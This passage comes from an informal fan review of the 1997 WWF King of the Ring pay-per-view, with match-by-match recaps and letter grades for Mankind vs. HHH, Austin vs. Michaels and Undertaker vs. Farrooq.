He EASILY would have won the world title in there somewhere given the absolute awfulness of some of the champions since then. I mean seriously, who would have been better as champion: Owen or Khali? Anyway, this match is just BAD. Yeah, the match ends and I’ve got nothing at all. Owen wins with a top rope sunset flip. Sid would be gone either the next night or in 8 days.

Rating: F. Seriously, WHO THOUGHT THIS WAS A GOOD IDEA??? This fails for reasons that I’ve already given. Owen and Animal were ok, but that’s it. This was just pathetic.

Todd is with Mankind who says that he just can’t wait to be king. Is there any doubt as to why he’s my all time favorite wrestler?

King of the Ring Finals: Mankind vs. HHH

Geez this would be the money feud in about two and a half years. Man I love HHH’s music here. It might be the best music for someone other than a custom made song that I’ve ever heard. I think they kind of screwed up here as Ahmed was more or less the given winner and they him lose clean to someone that was FAR beneath him on the totem poll coming into this. Ross says he can’t picture Chyna as a queen.

That actually is rather amusing. They point out that Mankind has a high IQ and that Dude Love would love tonight. That would happen in about three months. Well I suppose this is better than either guy against Ahmed, which wouldn’t have gone well and Ahmed vs. Lawler would have gone all of 5 minutes at best before Ahmed looked completely awful. To no one’s surprise, this is mainly a brawl.

The mask is already off of Mankind as he’s still selling the neck injury from earlier. The referee throws out Chyna as we’re STILL on the floor. Let’s go to a table just to have some more fun. These were different tables than we’re used to today as they were thicker and sounded much better. A Pedigree through it has Foley more or less out cold. Oh never mind he’s up 12 seconds later.

He’s apparently auditioning for the X Division with that kind of selling. Chyna breaks a scepter over his back which is called his head for some reason by Vince. Let’s just keep it on the floor since it’s worked for about 15 minutes so far. There’s pretty much no flow to this at all as it’s just HHH beating up Foley who takes one sick bump after another.

This is what’s called garbage wrestling, even though there’s a ton of talent in there. To be fair though, the pop for Foley is AWESOME when he kicks out. Another Pedigree gets the pin though, so just like at the 2000 Rumble, the pop is all for naught.

Rating: D+. And the grade here is because I like Foley and won’t give him a failing grade. This was a total and complete mess. It was just way too violent and all over the place with MAYBE 5 minutes of a twenty minute match in the ring. That’s CZW bad level and just completely ridiculous. What was the point of this? I seriously don’t get that. If this had been ten minutes shorter, it would have been light years better.

There is no coronation as he just puts the robe on and beats on Foley some more. They would have an intense show long fight at the next PPV before blowing it off at Summerslam in a great cage match that Foley won.

Austin tells Doc that he doesn’t care about the Harts or the belts, but just wanting to win tonight. We get a quick recap of Austin vs. Shawn. More or less, they both hate the Harts but hate each other. Since Russo is the booker, they are the perfect choices to be tag team champions, which they are here. Austin had beaten up Bret on Raw a few weeks ago after they won the belts which is why he’s not here tonight.

The original big match here was supposed to be Bret vs. Shawn II but they had had a legit backstage fight, and since only Shamrock and maybe Owen could hang with Bret in a legit shoot fight given what Bret knew about submission, they figured it was better to have this instead of Bret potentially killing Shawn.

The Harts throw out an open challenge for Canadian Stampede, which was probably the best crowd in WWF history. As they’re leaving they run into Austin in the back and security stops their near brawl. Austin was rapidly becoming a huge deal around this time and no one knew how big he would become very soon.

Steve Austin vs. Shawn Michaels

This would become the match in about 10 months but here’s it’s just the other main event that really was the biggest match on the card. Shawn says that he is just worried about the match. Doc says this has been a crazy show. Shawn gets a very nice pop, although not epic. As odd as it sounds, this just doesn’t feel like a bit match at all. Shawn would get hurt soon (again) and have to forfeit his half of the belts, which Dude Love took.

Austin would then get hurt and the titles would be forfeited again, this time with the Headbangers of all teams getting them. Austin starts off hot but a Special Olympian falls over the railing and has to be helped up. Well ok then. Shawn of course gets things going a lot faster as you would expect. He flips Austin off in an amusing moment. He goes to the floor and helps the kid to the back, which is fine. If nothing else it’s classy.

You can tell he has a mental disability so it’s perfectly understandable that he simply fell like that. Still, those games are very cool so I can’t complain a bit. They kind of touch on the insane popularity that Austin is reaching. Amazingly enough, this was just the tip of the iceberg to say the least. This is the Austin that was able to wrestle almost any style as he was much faster and much more athletic at this point.

That would change in about 2 months. The look in Austin’s eyes is almost mesmerizing. He just looks awesome on a lot of levels. Austin is MOVING out there. If I didn’t know what he would become I never would have believed it. He hits the floor and pulls back the mats as the fans are into this. This has been more or less all Stone Cold here. He does something that I can’t remember anyone else doing: he ducks the forearm that Shawn uses to start his comebacks.

Well I’ll be. It’s that simple? Both guys are incredibly popular here. We finally get to the finish after a ton of great back and forth stuff, as the referee gets rammed and Austin hits the Stunner. No referee though, so Austin ducks the chin music and somehow stuns the referee and walks into the kick.

More referees come down and they get beaten up too for the double DQ. That’s really the only ending possible here as they made both guys look great and neither could lose. I would have preferred a time limit, but that’s Vince for you.

Rating: A. This was GREAT stuff with two A-list guys beating the tar out of each other in front of a small but hot crowd. It didn’t really further anything as Michaels got hurt, but I liked it a lot which a lot of people likely won’t.

The Nation says Farooq will win.

WWF Title: Farrooq vs. Undertaker

This is really just a token title defense as no one thought the title was changing here at all. Seriously, FARROOQ was the best they could do? They couldn’t have thrown Owen in there or something? Taker tries to talk but Bearer cuts him off. Bearer is controlling Taker because of a secret he’s holding over him, which was that he killed his parents in a fire, where he had a brother as well. You know the story from there. Taker gets a great pop.

That belt just looks right on Taker. Farrooq, as a heel, of course jumps him while Bearer is yelling at him. I really don’t like the idea of power vs. power here. Taker starts out fast but Farrooq fights back with the generic power offense. Oh look the Nation is interfering. Could you write a more basic match than this? I don’t think I could either. They go back and forth with power moves and the crowd is just dead as possible. NO ONE cares at all, as this was following Michaels and Austin.

Seriously, who thought that was a good idea? The referee goes down and no one cares because it leads nowhere. Bearer yells at Taker to get up and the Nation starts fighting. This would lead to their split into three gangs which no one cared about but the feud got pushed for months anyway. Farrooq slams Taker which is apparently devastating and the arguing distracts him long enough for the tombstone to end this.

Bearer yells at Taker for like 5 minutes until Ahmed comes out to play peacekeeper. Taker gets tired of listening to him so he swings and takes the Plunge. Johnson just leaves and Taker gets up and stalks Bearer to end the show.

Johnson would join the Nation for like a week before getting hurt again and coming back to feud with them AGAIN before leaving for good in January. The Johnson Taker match never happened, which was either due to injury or the name Johnson Taker being copyrighted by Jenna Jameson. It might have been either.

Rating: D-. Seriously, THIS followed Austin and Michaels’ classic. If that was flipped, this would have been a lot better. These two just completely clashed and it was terrible. There was no point to this and nothing was accomplished other than to set up a PPV main event that never happened. In case you were wondering, the WCW PPV main event this month was Savage vs. DDP, falls count anywhere which was a good match. Think about that comparison for a bit.

Overall Rating: D. There’s nothing great here other than one match and then a few decent moments in some bad matches. This was a bad show other than the Austin match as little happened other than to set up two matches at Canadian Stampede. HHH winning meant nothing as he was already about that level and Foley was already over as a face.

Go find Austin vs. Michaels as it’s a great match and completely different from their Mania 14 match. Both are healthy here and it’s amazing to see what they’re capable of in that condition. Other than that, stay far away.

Remember to follow me on Twitter @kbreviews and pick up my new book on the History of the WWE Championship from Amazon at: